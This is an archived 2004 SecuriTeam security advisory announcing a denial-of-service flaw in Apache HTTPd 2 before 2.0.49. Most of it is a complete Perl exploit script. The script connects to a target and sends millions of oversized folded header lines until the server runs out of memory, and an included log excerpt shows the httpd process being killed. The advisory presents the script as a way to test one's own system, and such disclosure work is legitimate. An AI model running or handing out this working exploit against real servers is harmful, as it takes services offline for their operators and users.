[EXPL] Apache HTTPd Arbitrary Long HTTP Headers DoS (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/04

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Date: 21 Jul 2004 11:20:45 +0200

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      Apache HTTPd Arbitrary Long HTTP Headers DoS (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article,
    <http://www.securiteam.com/unixfocus/5NP010ADFY.html> Apache HTTPd
    Arbitrary Long HTTP Headers DoS, under certain conditions passing
    arbitrary long headers to Apache will allocate large chunks of memory
    which eventually will lead to a DoS condition. The following exploit code
    can be used to test your system for the mentioned vulnerability.

    DETAILS

    Exploit:
    #/usr/bin/perl
    #
    #exploit for apache ap_get_mime_headers_core() vuln
    #
    #adv is here: http://www.guninski.com/httpd1.html
    #
    #version: apache 2 <2.0.49 apache 1 not tested.
    #
    #by bkbll bkbll#cnhonker.net http://www.cnhonker.com
    #
    #tail -f /var/log/messages
    #Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd)
    #

    use IO::Socket::INET;

    $host="10.10.10.114";
    $port=80;
    $sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto
    => 'tcp') || die "new error$@\n";
    binmode($sock);
    $hostname="Host: $host";
    $buf2='A'x50;
    $buf4='A'x8183;
    $len=length($buf2);
    $buf="GET / HTTP/1.1\r\n";
    send($sock,$buf,0) || die "send error:$@\n";
    for($i= 0; $i < 2000000; $i++)
    {
        $buf=" $buf4\r\n";
        send($sock,$buf,0) || die "send error:$@, target maybe have been
    D.o.S?\n";
    }
    $buf="$hostname\r\n";
    $buf.="Content-Length: $len\r\n";

    $buf.="\r\n";
    $buf.=$buf2."\r\n\r\n";

    send($sock,$buf,0) || die "send error:$@\n";
    print "Ok, our buffer have send to target \n";
    close($sock);

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:bkbll@cnhonker.net> bkbll.
    The original article can be found at:
    <http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=59>
    http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=59

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